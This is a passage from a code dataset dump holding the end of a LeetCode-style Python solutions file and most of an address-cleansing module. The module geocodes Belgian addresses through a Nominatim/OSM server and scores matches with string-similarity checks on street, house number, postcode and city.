freq[c] += 1\n \n if 'b' not in freq: # 0 instance of the word balloon\n return 0\n \n maxNumber = freq['b']\n\n for c in ['a', 'l', 'o', 'n']:\n \n if c not in freq: # 0 instance of the word balloon\n return 0\n \n if c == 'l' or c == 'o':\n temp = freq[c] // 2\n else:\n temp = freq[c]\n \n maxNumber = min(temp, maxNumber)\n \n return maxNumber\n\n # 350. Intersection of Two Arrays II\n def intersect(self, nums1, nums2):\n \"\"\"\n :type nums1: List[int]\n :type nums2: List[int]\n :rtype: List[int]\n \"\"\"\n\n freq = {}\n\n for num in nums1: # store all numbers that appear in nums1 (with the number of occurences)\n if num in freq:\n freq[num] += 1\n else:\n freq[num] = 1\n \n intersection = []\n\n for num in nums2: # build intersection while going through the numbers in nums2\n if num in freq and freq[num] > 0:\n freq[num] -= 1\n intersection.append(num)\n \n return intersection\n\n\n\n\n \n\n\nsolution = Solution()\n# print(solution.shiftingLetters(\"aaa\", [1,2,3]))\n# print(solution.numberOfArithmeticSlices([7,7,7,7,7]))\nprint(solution.intersect([1,2,2,1], [2,2]))","repo_name":"jathurchan/divecode.io","sub_path":"2020-2022/Archive/solutions.py","file_name":"solutions.py","file_ext":"py","file_size_in_byte":4675,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"35668259830","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[7]:\n\n\nimport pandas as pd\nimport urllib\n\nimport numpy as np\n\nimport json\n\nfrom tqdm.autonotebook import tqdm\n\nimport re\n\n# %matplotlib inline\n\ntqdm.pandas()\n\n\nimport jellyfish#88942\nimport dask.dataframe as dd\n\nfrom dask.multiprocessing import get\nfrom dask.diagnostics import ProgressBar\n\nfrom IPython.display import display\n\nfrom datetime import datetime, timedelta\nimport logging\nimport sys\n\nlogging.basicConfig(format='[%(asctime)s] %(message)s', stream=sys.stdout)\nlogger = logging.getLogger()\nlogger.setLevel(logging.INFO)\n\n\nfrom config import *\n\n\n# In[ ]:\n\n\n# !jupyter nbconvert --to python AddressCleanserUtils.ipynb\n\n\n# In[ ]:\n\n\nwithin_jupyter=False\n\n\n# In[ ]:\n\n\n\n\ndef log(arg):\n if (type(arg) == pd.core.frame.DataFrame) or (type(arg) == pd.core.frame.Series):\n log_display(arg)\n else:\n logging.info(arg)\n\ndef vlog(arg):\n if (type(arg) == pd.core.frame.DataFrame) or (type(arg) == pd.core.frame.Series):\n vlog_display(arg)\n else:\n logging.debug(arg)\n\n \ndef log_display(df):\n if within_jupyter: \n if logger.getEffectiveLevel() <= logging.INFO:\n display(df)\n else: \n with pd.option_context(\"display.max_columns\", None, 'display.width', 200):\n log(\"\\n\"+str(df))\n \ndef vlog_display(df):\n if within_jupyter: \n if logger.getEffectiveLevel() <= logging.DEBUG:\n display(df)\n else: \n with pd.option_context(\"display.max_columns\", None, 'display.width', 200):\n vlog(\"\\n\"+str(df))\n\n\n# In[ ]:\n\n\npbar = ProgressBar(dt=1.0)\n\n\n# In[ ]:\n\n\n# Mapping of nominatim results fields on our output fields\ncollapse_params = {\n \"addr_out_street\": [\"road\", \"pedestrian\",\"footway\", \"cycleway\", \"path\", \"address27\", \"construction\", \"hamlet\", \"park\"],\n \"addr_out_city\" : [\"town\", \"village\", \"city_district\", \"county\", \"city\"],\n \"addr_out_number\": [\"house_number\"],\n \"addr_out_country\": [\"country\"],\n \"addr_out_postcode\": [\"postcode\"],\n}\n\n\n# In[ ]:\n\n\nosm_addr_field = \"osm_addr\" # name of the field of the address sent to Nominatim\n\nsimilarity_threshold = 0.5\n\n\n# In[ ]:\n\n\ntimestats = {\"transformer\": timedelta(0),\n \"osm\": timedelta(0),\n \"osm_post\": timedelta(0),\n \"checker\": timedelta(0),\n \"photon\": timedelta(0),\n \"libpostal\": timedelta(0)}\n\n\n# # Functions \n\n# ## Global\n\n# In[ ]:\n\n\nimport unicodedata\ndef remove_accents(input_str):\n if pd.isnull(input_str):\n return None\n \n nfkd_form = unicodedata.normalize('NFKD', input_str)\n return u\"\".join([c for c in nfkd_form if not unicodedata.combining(c)])\n\n\n# In[ ]:\n\n\ndef house_number_compare(n1, n2):\n \"\"\"\n Compare two pd.Series of house numbers\n - if n1 == n2 (and not empty) --> 1\n - else we split n1 and n2 in chunks of numbers : \n - if first chunk of n1 = second chunk of n2 --> 0.8 (e.g : 10 vs 10-12)\n - else second chunk of n1 = first chunk of n2 --> 0.8 (e.g. 10-12 vs 12)\n - else if only numbers are equal (and not empty) --> 0.5 (e.g., '10a' vs '10 B' vs '10')\n \"\"\"\n n1 = n1.fillna(\"\").astype(str).str.strip()\n n2 = n2.fillna(\"\").astype(str).str.strip()\n \n res= ((n1==n2) & (n1.str.len()>0)).astype(float)\n \n n1_split = n1.str.split(\"[^0-9]\", expand=True)\n n2_split = n2.str.split(\"[^0-9]\", expand=True)\n \n if n2_split.shape[1]>1:\n res[(res == 0) & ((n1_split[0] == n2_split[1]) & (n2_split[1].str.len()>0))] = 0.8\n \n if n1_split.shape[1]>1:\n res[(res == 0) & ((n1_split[1] == n2_split[0]) & (n1_split[1].str.len()>0))] = 0.8\n \n res[(res == 0) & (n1.str.replace(\"[^0-9]\", \"\") == n2.str.replace(\"[^0-9]\", \"\")) & ( n1.str.len()>0) & ( n2.str.len()>0)] = 0.5\n \n return res\n\n\n# In[ ]:\n\n\ndef postcode_compare(s1, s2):\n \"\"\"Compare postcodes.\n\n If the postcodes in both records are identical, the similarity\n is 1. If the first two values agree and the last two don't, then\n the similarity is 0.5. Otherwise, the similarity is 0.\n \"\"\"\n s1 = s1.fillna(\"\").astype(str).str.replace(\"^[A-Z]-?\", \"\")\n s2 = s2.fillna(\"\").astype(str).str.replace(\"^[A-Z]-?\", \"\")\n \n # check if the postcode are identical (return 1 or 0)\n sim = (s1 == s2).astype(float)\n # one is missing\n sim[(sim == 0) & ((s1.fillna(\"\").str.len()==0) | (s2.fillna(\"\").str.len()==0))] = 0.1\n \n # check the first 2 numbers of the distinct comparisons\n \n sim[(sim == 0) & (s1.str[0:2] == s2.str[0:2])] = 0.5\n sim[(sim == 0) & (s1.str[0:1] == s2.str[0:1])] = 0.3\n\n\n return sim\n\n\n# In[ ]:\n\n\ndef levenshtein_similarity(str1, str2):\n return 1-jellyfish.damerau_levenshtein_distance(str1, str2)/max(len(str1), len(str2)) if (len(str1) > 0 or len(str2) > 0 ) else 0.0\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\ndef inclusion_test(s1, s2):\n \"\"\" \n Check that a string s1 is equal to another string s2, except that s2 contains an additional substring\n Example : \"Avenue C Berten\" vs \"Avenue Clovis Berten\"\n\n \"\"\"\n \n import os\n l_pref = len(os.path.commonprefix([s1, s2]))\n l_suf = len(os.path.commonprefix([s1[::-1], s2[::-1]]))\n\n res = 1 if (l_pref>0) and (l_suf > 0) and (l_pref+l_suf >= min(len(s1), len(s2))) else 0\n# if res == 1:\n# print(s1, s2, res)\n return res\n\n\n# In[ ]:\n\n\n# s1=\"NEU\"\n# s2 = \"NEUCHATEAU\"\n# import os\n# l_pref = len(os.path.commonprefix([s1, s2]))\n# l_suf = len(os.path.commonprefix([s1[::-1], s2[::-1]]))\n# l_pref, l_suf\n\n\n# In[ ]:\n\n\ndef fingerprint(column):\n cleaned_column = column.fillna(\"\")\n# cleaned_column = cleaned_column.str.upper().apply(remove_accents)\n cleaned_column = cleaned_column.str.replace(\"[^A-Z]\", \" \")\n cleaned_column = cleaned_column.str.strip()\n cleaned_column = cleaned_column.str.split(\"[ ]+\")\n \n cleaned_column = cleaned_column.apply(lambda x: sorted(list(set(x))))\n cleaned_column = cleaned_column.apply(\" \".join)\n return cleaned_column\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n# TODO : replacement seulement si dans les 2 inputs en même temps --> Pour éviter que \"Avenue Louise\" et \"Place Louise\" aient une similarité de 100%\n\nstreet_compare_removes = [r\"\\([A-Z.]+\\)\", \n # r\"[^A-Z ]+\",\n r\"\\b(AVENUE|RUE|CHAUSSEE|BOULEVARD|PLACE)\\b\",\n r\"(STRAAT|LAAN|STEENWEG|WEG)\\b\"\n ]\n\ndontwatchthis = \"DONOTCONSIDERTHISSTRING\"\ndef _street_compare(street1, street2, compare_algo, street_compare_removes):\n \n streets = pd.DataFrame()\n streets[\"STR1\"] = street1\n streets[\"STR2\"] = street2\n \n for i in [\"STR1\", \"STR2\"]:\n for scr in street_compare_removes:\n streets[i] = streets[i].str.replace(scr, \"\")\n \n streets[i] = streets[i].str.strip().str.replace(\" [ ]+\", \" \")\n \n # if diff length > 10 : --> 0, othewise : 2\n res = (streets.STR1.fillna(\"\").str.len() - streets.STR1.fillna(\"\").str.len() < 10).astype(float) *2\n \n # If one is equal to \"dontwatchthis\" : 0\n res[(res == 2) & ((streets.STR1 == dontwatchthis) | (streets.STR2 == dontwatchthis)) ] = 0.0\n \n # if both is empty : 1\n res[(res == 2) & (streets.STR1.fillna(\"\") == \"\") & (streets.STR2.fillna(\"\") == \"\") ] = 1.0\n \n # Otherwise (still == 2): compute distance\n \n \n if (res == 2).any():\n res[res == 2] = streets[res == 2].fillna(\"\").apply(lambda row : compare_algo(row.STR1, row.STR2), axis=1)\n \n return res\n \ndef street_compare(street1, street2, compare_algo = levenshtein_similarity):\n\n if street1.shape[0] == 0:\n return pd.Series(index=street1.index)\n \n # For Brussels (or bilingual regions), we typically get \"Avenue Louise - Louizalaan\" for street\n # We also often get (in input) streets like \"Bruxelles, Avenue Louise\", or \"Avenue Louise, 10\"\n # Set \"dontwatchthis\" for values that do not split, but where a column appear because of other values being split\n \n street_split_a = street1.fillna(\"\").str.replace(\",\", \" - \").str.split(\" - \", expand=True).fillna(dontwatchthis)\n street_split_b = street2.fillna(\"\").str.replace(\",\", \" - \").str.split(\" - \", expand=True).fillna(dontwatchthis)\n\n #display(pd.concat([street1, street2], axis=1))\n #display(pd.concat([street_split_a, street_split_b], axis=1))\n \n street_distances = pd.DataFrame()\n for ai in range(street_split_a.shape[1]):\n str_a = street_split_a[ai].str.upper().apply(remove_accents).str.replace( r\"[^A-Z ]+\", \" \").str.replace(\" [ ]+\", \" \").str.strip()\n\n for bi in range(street_split_b.shape[1]):\n str_b = street_split_b[bi].str.upper().apply(remove_accents).str.replace( r\"[^A-Z ]+\", \" \").str.replace(\" [ ]+\", \" \").str.strip()\n\n street_distances[\"SIM_street_a{}b{}\".format(ai,bi)] = _street_compare(str_a, str_b, compare_algo=compare_algo, street_compare_removes=street_compare_removes)\n # to calculate (strict) inclusion, we do not remove \"street words\" (Rue, Avenue ...) \n street_distances[\"INC_street_a{}b{}\".format(ai,bi)] = _street_compare(str_a, str_b, compare_algo=inclusion_test, street_compare_removes=[])\n \n fgpta = fingerprint(str_a)\n fgptb = fingerprint(str_b)\n \n street_distances[\"FING_street_a{}b{}\".format(ai,bi)] = _street_compare(fgpta, fgptb, compare_algo=compare_algo, street_compare_removes=street_compare_removes)\n \n street_distances[\"SIM_street\"] = street_distances[filter(lambda x: \"SIM_street_a\" in x \n or \"INC_street_a\" in x\n or \"FING_street_a\" in x, street_distances)].max(axis=1) \n# display(street_distances[street1.fillna(\"\").str.contains(\"AUTOSNELWEGEN\") ])\n vlog(f\"Street compare: {street1.name}, {street2.name}\")\n vlog(pd.concat([street_split_a, street_split_b, street_distances], axis=1))\n return street_distances[\"SIM_street\"]\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\ndef city_compare(city1, city2, compare_algo = levenshtein_similarity):\n \n cities = pd.DataFrame()\n cities[\"CITY1\"] = city1\n cities[\"CITY2\"] = city2\n \n for i in [\"CITY1\", \"CITY2\"]:\n cities[i] = cities[i].str.upper().apply(remove_accents)\n cities[i] = cities[i].str.strip().str.replace(\" [ ]+\", \" \")\n \n return cities.fillna(\"\").apply(lambda row : compare_algo(row.CITY1, row.CITY2), axis=1)\n\n\n# In[ ]:\n\n\ndef ignore_mismatch_keep_bests(addr_matches, addr_key_field, \n street_fields_a, housenbr_field_a, postcode_field_a, city_field_a, \n street_field_b, housenbr_field_b, postcode_field_b, city_field_b, #split_comma = True,\n similarity_threshold=similarity_threshold, max_res=1, secondary_sort_field = \"osm_order\"):\n \n if addr_matches.shape[0] == 0:\n return addr_matches, addr_matches\n \n distances = pd.DataFrame(index=addr_matches.index)\n \n street_b = addr_matches[street_field_b]\n \n distances[\"SIM_street\"] = -1\n \n vlog(\"Will compare streets\")\n for street_field_a in street_fields_a :\n # Only compute a new street distance if the computed distance is below the threshold so far\n x = (distances[\"SIM_street\"] < similarity_threshold) \n \n distances.loc[x, \"SIM_street\"] = street_compare(addr_matches[street_field_a][x].fillna(\"\"), street_b[x])\n distances.loc[x, \"SIM_street_which\"] = street_field_a # last field that have been compared\n \n wsu = \" ; \".join([f\"{r}: {c}\" for r, c in distances[distances[\"SIM_street\"] >= similarity_threshold][\"SIM_street_which\"].value_counts().iteritems()])\n vlog(f\"Which street used: {wsu}\")\n\n \n w = distances[(distances[\"SIM_street\"] >= similarity_threshold)&(distances[\"SIM_street_which\"]!=street_fields_a[0] )].merge(addr_matches, left_index=True, right_index=True)\n vlog(f\"Cases where street ({street_fields_a[0]}) wasn't used to validate results: \")\n \n vlog(w[np.concatenate([[addr_key_field], street_fields_a, [housenbr_field_a, postcode_field_a, city_field_a, \n street_field_b, housenbr_field_b, postcode_field_b, city_field_b]])])\n \n distances[\"SIM_house_nbr\"] = house_number_compare(addr_matches[housenbr_field_a].fillna(\"\"), addr_matches[housenbr_field_b].fillna(\"\"))\n \n distances[\"SIM_zip\"] = postcode_compare(addr_matches[postcode_field_a].fillna(\"\"), addr_matches[postcode_field_b].fillna(\"\"))\n \n distances[\"SIM_city\"] = city_compare(addr_matches[city_field_a].fillna(\"\"), addr_matches[city_field_b].fillna(\"\"))\n \n elimination_rule = ((distances.SIM_zip < 0.1) & (distances.SIM_city < similarity_threshold)) | ((distances.SIM_street < similarity_threshold) )\n \n rejected = addr_matches[elimination_rule].merge(distances, left_index=True, right_index=True).copy()\n \n rejected[\"reject_reason\"] = \"mismatch\"\n\n # Remove non acceptable results\n \n result = addr_matches[~elimination_rule].merge(distances, left_index=True, right_index=True).sort_values([addr_key_field, \"SIM_street\", \"SIM_house_nbr\", secondary_sort_field], ascending=[True, False, False, True])\n \n # Keep only the first ones\n result_head = result.groupby([addr_key_field]).head(max_res)#.drop(\"level_2\", axis=1)#.set_index([key, addr_key_field])#[init_osm.index.get_level_values(1) == 140266\t]\n\n result_tail = result[~result.index.isin(result_head.index)].copy()\n result_tail[\"reject_reason\"] = \"tail\" \n \n return result_head, rejected.append(result_tail)\n\n\n# In[ ]:\n\n\ndef retry_with_low_place_rank(osm_results, sent_addresses, \n street_field, housenbr_field, postcode_field, city_field, country_field,\n check_results=True, osm_structured=False):\n vlog(\"Trying to improve place_rank with place_rank < 30 by cleansed house number \")\n sent_addresses_26 = osm_results[osm_results.place_rank < 30].merge(sent_addresses)#[osm_addresses.place_rank == 26]\n \n vlog(f\" - <30: {sent_addresses_26.shape[0]}\")\n sent_addresses_26 = sent_addresses_26[~sent_addresses_26[housenbr_field].fillna(\"\").astype(str).str.match(\"^[0-9]*$\")]\n vlog(f\" - numbers: {sent_addresses_26.shape[0]}\")\n sent_addresses_26[\"housenbr_clean\"] = sent_addresses_26[housenbr_field].fillna(\"\").astype(str).str.extract(\"^([0-9]+)\")[0]\n\n sent_addresses_26[\"osm_addr_in\"] = sent_addresses_26[street_field ].fillna(\"\") + \", \"+ sent_addresses_26[\"housenbr_clean\"].fillna(\"\") +\", \" + sent_addresses_26[postcode_field].fillna(\"\") + \" \" +sent_addresses_26[city_field ].fillna(\"\") +\", \"+ sent_addresses_26[country_field].fillna(\"\")\n\n vlog(\" ; \".join([f\"rank {r}: {c}\" for r, c in sent_addresses_26.place_rank.value_counts().iteritems()]))\n #print(osm_results_26.place_rank.value_counts())\n osm_results_26, rejected_26 = process_osm(sent_addresses_26, \n osm_addr_field=\"osm_addr_in\", addr_key_field=addr_key_field, \n street_field=street_field,housenbr_field=\"housenbr_clean\", \n postcode_field=postcode_field, city_field=city_field,\n country_field=country_field,\n check_results=check_results,\n osm_structured=osm_structured)\n \n if osm_results_26.shape[0]>0:\n vlog(\" - New results with place_rank == 30 after cleansing ({}):\".format(\" ; \".join([f\"rank {r}: {c}\" for r, c in osm_results_26.place_rank.value_counts().iteritems()])))\n \n osm_results_26 = osm_results_26[osm_results_26.place_rank == 30]\n osm_results_26[\"retry_on_26\"] = True\n \n# display(osm_results_26)\n \n osm_results = osm_results[~osm_results[addr_key_field].isin(osm_results_26[addr_key_field])].append(osm_results_26, sort=False)\n \n return osm_results\n\n\n# In[ ]:\n\n\ndef find_house_number(street, house_number):\n if house_number != \"\" and not pd.isnull(house_number):\n return house_number\n\n lpost = parse_address(street)\n lpost = {x: y for (y, x) in lpost}\n return lpost[\"house_number\"] if \"house_number\" in lpost else np.NaN\n\ndef add_extra_house_number(osm_addresses, addresses, street_field, housenbr_field):\n if \"addr_out_number\" not in osm_addresses:\n return osm_addresses\n \n result = osm_addresses.merge(addresses)\n result[\"extra_house_nbr\"] = result.apply(lambda row: find_house_number(row[street_field], row[housenbr_field]), axis=1)\n\n return result[np.concatenate([osm_addresses.keys(), [\"extra_house_nbr\"]])]\n\n\n# In[ ]:\n\n\ndef transform_and_process(to_process_addresses, transformers, addr_key_field, street_field, housenbr_field, \n city_field, postcode_field, country_field, check_results=True, osm_structured=False):\n\n t = datetime.now()\n method = \"+\".join(transformers)\n \n # second test : to get rid of \"phantom dask partition\"\n if to_process_addresses.shape[0]==0 or to_process_addresses[addr_key_field].duplicated().sum() > 0:\n \n vlog(\"No more addresses!\")\n step_stats = {\"method\": method, \"todo\": 0, \"sent\": 0, \"match\": 0, \"match_26\": 0, \n \"reject_rec\" :0, \"reject_addr\": 0, \"reject_mism\": 0}\n return pd.DataFrame(columns=[addr_key_field]), pd.DataFrame(columns=[addr_key_field, \"reject_reason\"]), step_stats\n\n \n transformed_addresses = apply_transformers(to_process_addresses, transformers, addr_key_field, \n street_field=street_field, housenbr_field=housenbr_field, \n postcode_field=postcode_field, city_field=city_field, country_field=country_field,\n check_results=check_results)\n \n\n if transformed_addresses.shape[0]==0:\n vlog(\"No more addresses for this transformers sequence!\")\n step_stats = {\"method\": method, \"todo\": 0, \"sent\": 0, \"match\": 0, \"match_26\": 0, \"reject_rec\" :0, \"reject_addr\": 0, \"reject_mism\": 0}\n return pd.DataFrame(columns=[addr_key_field]), pd.DataFrame(columns=[addr_key_field, \"reject_reason\"]), step_stats\n\n transformed_addresses[\"osm_addr_in\"] = transformed_addresses[street_field ].fillna(\"\") + \", \"+ transformed_addresses[housenbr_field].fillna(\"\") + \", \"+ transformed_addresses[postcode_field].fillna(\"\") + \" \" + transformed_addresses[city_field ].fillna(\"\") + \", \"+ transformed_addresses[country_field ].fillna(\"\") \n \n \n transformed_addresses[\"osm_addr_in\"]= transformed_addresses[\"osm_addr_in\"].str.replace(\"^[ ,]+\", \"\")\n\n if check_with_transformed :\n sent_addresses = transformed_addresses\n else:\n sent_addresses = transformed_addresses[[\"osm_addr_in\", addr_key_field]].merge(to_process_addresses, on=addr_key_field)\n \n vlog(f\"Will process {sent_addresses.shape[0]} addresses for : transformers = {'+'.join(transformers)}\")\n\n vlog(sent_addresses.head())\n vlog(sent_addresses.shape)\n\n timestats[\"transformer\"] += datetime.now() - t\n \n osm_results, rejected = process_osm(sent_addresses, \n osm_addr_field=\"osm_addr_in\", addr_key_field=addr_key_field, \n street_field=street_field, housenbr_field=housenbr_field, \n postcode_field=postcode_field, city_field=city_field,\n country_field=country_field,\n check_results=check_results,\n osm_structured=osm_structured)\n \n if with_cleansed_number_on_26 and osm_results.shape[0]>0 : \n\n osm_results = retry_with_low_place_rank(osm_results, sent_addresses, \n street_field=street_field,housenbr_field=housenbr_field, \n postcode_field=postcode_field, city_field=city_field,\n country_field=country_field,\n check_results=check_results)\n\n osm_results[\"method\"] = method\n rejected[\"method\"] = method\n\n step_stats = {\"method\": method, \n \"todo\": to_process_addresses.shape[0], \n \"sent\": sent_addresses.shape[0], \n \"match\": osm_results.shape[0],\n \"match_26\": osm_results[\"retry_on_26\"].sum() if \"retry_on_26\" in osm_results else 0,\n \"reject_rec\" : rejected.shape[0],\n \"reject_addr\": rejected[addr_key_field].nunique(),\n \"reject_mism\": rejected[rejected.reject_reason == \"mismatch\"][addr_key_field].nunique(),\n }\n \n return osm_results, rejected, step_stats\n\n\n# ## OSM \n\n# In[14]:\n\n\ndef get_osm(addr, accept_language = \"\"): #lg = \"en,fr,nl\"\n params = urllib.parse.urlencode({\"q\": addr,\n \"format\":\"jsonv2\",\n \"accept-language\":accept_language,\n \"addressdetails\":\"1\",\n \"namedetails\" : \"1\",\n \"limit\": \"50\"\n })\n \n url = \"http://%s/search.php?%s\"%(osm_host, params)\n vlog(f\"Call to OSM: {url}\")\n try: \n with urllib.request.urlopen(url) as response:\n res = response.read()\n res = json.loads(res)\n# return res\n return [ {field: item[field] for field in [\"place_id\", \"lat\", \"lon\", \"display_name\", \"address\", \"namedetails\", \"place_rank\", \"category\", \"type\"]} for item in res] \n except Exception as e:\n raise Exception (f\"Cannot get OSM results ({osm_host}): {e}\") \n\n\n# In[2]:\n\n\ndef get_osm_struct(street, housenumber, postcode, city, country, accept_language = \"\"): #lg = \"en,fr,nl\"\n params = urllib.parse.urlencode({\"street\": f\"{street}, {housenumber}\" if pd.notnull(street) and len(str(street).strip())>0 else \"\" ,\n \"city\":city,\n \"postalcode\": postcode,\n \"country\": country,\n \"format\":\"jsonv2\",\n \"accept-language\":accept_language,\n \"addressdetails\":\"1\",\n \"namedetails\" : \"1\",\n \"limit\": \"50\"\n })\n \n url = \"http://%s/search.php?%s\"%(osm_host, params)\n vlog(f\"Call to OSM: {url}\")\n try: \n with urllib.request.urlopen(url) as response:\n res = response.read()\n res = json.loads(res)\n# return res\n return [ {field: item[field] for field in [\"place_id\", \"lat\", \"lon\", \"display_name\", \"address\", \"namedetails\", \"place_rank\", \"category\", \"type\"]} for item in res] \n except Exception as e:\n raise Exception (f\"Cannot get OSM results ({osm_host}): {e}\") \n\n\n# In[24]:\n\n\n# osm_host=\"10.1.0.45:8081\"\n# get_osm_struct(city=\"Auderghem\", street=None, housenumber=None, postcode=\"1160\", country=\"Belgique\")\n\n\n# In[21]:\n\n\n# osm_host=\"10.0.2.15:7070\"\n# get_osm_struct(\"avenue fonsny\", \"20\", \"1060\", \"bruxelles\", \"Belgique\" )\n\n\n# In[23]:\n\n\ndef get_osm_details(place_id): #lg = \"en,fr,nl\"\n params = urllib.parse.urlencode({\"place_id\": place_id,\n \"format\":\"json\",\n })\n\n url = \"http://%s/details.php?%s\"%(osm_host, params)\n try: \n with urllib.request.urlopen(url) as response:\n res = response.read()\n return json.loads(res)\n except Exception as e: \n logger.warning(f\"Problems with get_details for place_id {place_id} (url: {url})\")\n print(e)\n return {\"category\":\"error\", \"names\": []}\n# raise e\n \n\n\n# In[ ]:\n\n\n\n\n\n# In[16]:\n\n\ndef process_osm(df, osm_addr_field, addr_key_field, street_field, housenbr_field, \n postcode_field, city_field, country_field, accept_language=\"\", similarity_threshold=similarity_threshold, \n check_results=True, osm_structured=False) :\n \n t = datetime.now()\n \n if df.shape[0] == 0:\n \n return pd.DataFrame(columns=[osm_addr_field, addr_key_field]), pd.DataFrame(columns=[osm_addr_field, addr_key_field, \"reject_reason\"])\n \n if osm_structured:\n to_process = df[[osm_addr_field, addr_key_field, street_field, housenbr_field, \n postcode_field, city_field, country_field]].drop_duplicates()\n else:\n to_process = df[[osm_addr_field]].drop_duplicates()\n \n vlog(f\"OSM: Will process {df.shape[0]} with {to_process.shape[0]} unique values\")\n \n vlog(\"Most frequent addresses:\")\n vlog(df[osm_addr_field].value_counts().head(5))\n \n \n osm_res_field = \"osm_res\"\n \n \n to_process[\"accept_language\"] = accept_language\n \n# if with_dask : \n# dd_to_process = dd.from_pandas(to_process, chunksize=1000 ) #, npartitions=10)\n\n# dask_task = dd_to_process[[osm_addr_field, \"accept_language\"]].apply(lambda row: get_osm(row[osm_addr_field], row[\"accept_language\"]), meta=('x', 'str'), axis=1)\n\n# to_process[osm_res_field] = dask_task.compute() #dchunk.loc[:].apply(map_partitions(lambda r: get_osm(r[addr_field])).compute()#get=get)\n# else: \n if osm_structured:\n to_process[osm_res_field] = to_process.apply(lambda row: \n get_osm_struct(street = row[street_field],\n housenumber=row[housenbr_field],\n postcode= row[postcode_field],\n city= row[city_field],\n country= row[country_field], \n accept_language = row[\"accept_language\"]), axis=1)\n else: \n to_process[osm_res_field] = to_process[[osm_addr_field, \"accept_language\"]].apply(lambda row: get_osm(row[osm_addr_field], row[\"accept_language\"]), axis=1)\n \n timestats[\"osm\"] += datetime.now() - t\n \n t = datetime.now()\n# to_process.to_pickle(\"osm_raw.pkl\")\n \n# to_process = pd.read_pickle(\"osm_raw.pkl\")\n\n vlog(\" - Parse & split osm results ...\")\n\n osm_results = osm_parse_and_split(to_process, osm_res_field, osm_addr_field=osm_addr_field)\n \n to_process = None # Allows Garbage collector to free memory ...\n\n osm_results = df[[osm_addr_field, addr_key_field]].merge(osm_results)\n \n vlog(f\" - OSM got {osm_results.shape[0]} results for {osm_results[addr_key_field].nunique()} addresses\")\n \n timestats[\"osm_post\"] += datetime.now() - t\n# display(osm_results)\n \n# osm_results.to_pickle(\"osm_parsed.pkl\")\n \n# display(osm_results)\n if osm_results.shape[0] == 0:\n \n return osm_results, pd.DataFrame(columns=[osm_addr_field, addr_key_field, \"reject_reason\"])\n\n if check_results:\n \n t = datetime.now()\n \n vlog(\" - Keep relevant results\")\n osm_results, osm_reject = osm_keep_relevant_results(osm_results, df, street_field, housenbr_field, \n postcode_field, city_field, country_field, \n similarity_threshold=similarity_threshold, addr_key_field=addr_key_field)\n\n\n vlog(f\" - Got {osm_results.shape[0]} results\")\n\n if use_osm_parent: \n vlog(\" - Trying alternative (parent) names for rejected answers\")\n\n # Keep rejected records that do not correspond to an accepted address\n final_rejected = osm_reject[(osm_reject.reject_reason == \"mismatch\") & \n (~osm_reject[addr_key_field].isin(osm_results[addr_key_field]))]\n\n # Get parent place id from place id calling get_osm_details\n parent_place_id = final_rejected.place_id.apply(get_osm_details).apply(lambda x: (x[\"parent_place_id\"] if \"parent_place_id\" in x else 0 ))\n \n if (parent_place_id == 0).any():\n log(\"Got some parent_place_id == 0\")\n log(final_rejected[parent_place_id == 0])\n parent_place_id = parent_place_id[parent_place_id != 0]\n\n # Get alt names from details of parent\n alt_names = parent_place_id.apply(get_osm_details).apply(lambda x: (x[\"names\"], x[\"category\"])).apply(pd.Series)\n\n # Keep only street parents, and split columns (\"name\", \"name:\"fr\", \"old_name\" ...) in rows\n\n if alt_names.shape[0] >0 and alt_names[alt_names[1] == \"highway\"].shape[0] >0 :\n alt_names = alt_names[alt_names[1] == \"highway\"]\n alt_names = alt_names[0].apply(pd.Series).stack().reset_index(1).rename(columns= {0: \"alt_names\"})\n alt_names = final_rejected.merge(alt_names, left_index=True, right_index=True)\n\n # Keep only alt names that are different from street name\n alt_names = alt_names[alt_names.addr_out_street != alt_names.alt_names]\n\n # Remove \"old\" similarity values\n alt_names = alt_names.drop([f for f in alt_names if \"SIM\" in f], axis=1)\n\n keep, reject = ignore_mismatch_keep_bests(alt_names, addr_key_field, \n street_fields_a = [\"alt_names\"], housenbr_field_a = \"addr_out_number\", postcode_field_a = \"addr_out_postcode\", city_field_a = \"addr_out_city\",\n street_field_b = street_field, housenbr_field_b = housenbr_field, postcode_field_b = postcode_field, city_field_b = city_field,)\n\n\n osm_results = osm_results.append(keep, sort=False)\n # print(osm_reject.shape)\n osm_reject = osm_reject[~ osm_reject[[addr_key_field,\"place_id\"]].astype(str).apply(\";\".join, axis=1).isin(keep[[addr_key_field, \"place_id\"]].astype(str).apply(\";\".join, axis=1)) ] \n # print(osm_reject.shape)\n vlog(\" - Saved : \")\n vlog(keep)\n else:\n vlog(\" - Not any alt name\")\n \n timestats[\"checker\"] += datetime.now() - t\n else: \n \n vlog(\" - Do not check OSM results, just keep the first result for each request.\")\n result_head = osm_results.groupby([addr_key_field]).head(1).copy()\n result_head[\"SIM_street_which\"] = np.NaN\n \n osm_reject = osm_results[~osm_results.index.isin(result_head.index)].copy()\n osm_reject[\"SIM_street\"]= np.NaN\n osm_reject[\"SIM_zip\"]= np.NaN\n osm_reject[\"reject_reason\"] = \"tail\"\n osm_results = result_head\n \n \n vlog(\" - Done!\")\n \n res_columns = [osm_addr_field, addr_key_field, \"place_id\", \"lat\", \"lon\", \"display_name\", \"namedetails\", \"place_rank\", \"category\", \"type\", \"SIM_street_which\", \"SIM_street\", \"SIM_city\", \"SIM_zip\", \"SIM_house_nbr\"] + list(collapse_params.keys()) + [\"addr_out_other\"] \n res_columns = [c for c in res_columns if c in osm_results ]\n return osm_results[res_columns], osm_reject\n \n\n\n# In[25]:\n\n\ndef osm_parse_and_split(df, osm_res_field, osm_addr_field, prefix=\"addr_\", drop_osm=True):\n osm_result_item_field = \"osm_item_result\"\n\n df = df.set_index([osm_addr_field])\n \n vlog(\" * Unstacking...\")\n df_split = df[osm_res_field].apply(pd.Series)\n \n if df_split.shape[1] == 0: # None of the addresses were matched by Nominatim\n return pd.DataFrame(columns = [osm_addr_field])\n \n osm_results = pd.DataFrame(df_split.stack()).rename(columns = {0:osm_result_item_field})\n \n vlog(\" * Extract items\")\n\n for item in osm_results.iloc[0][osm_result_item_field].keys() :\n osm_results[item] = osm_results[osm_result_item_field].apply(lambda x: x[item] if item in x else None)\n \n \n addr_items = []\n\n for row in osm_results[osm_result_item_field].apply(lambda x: 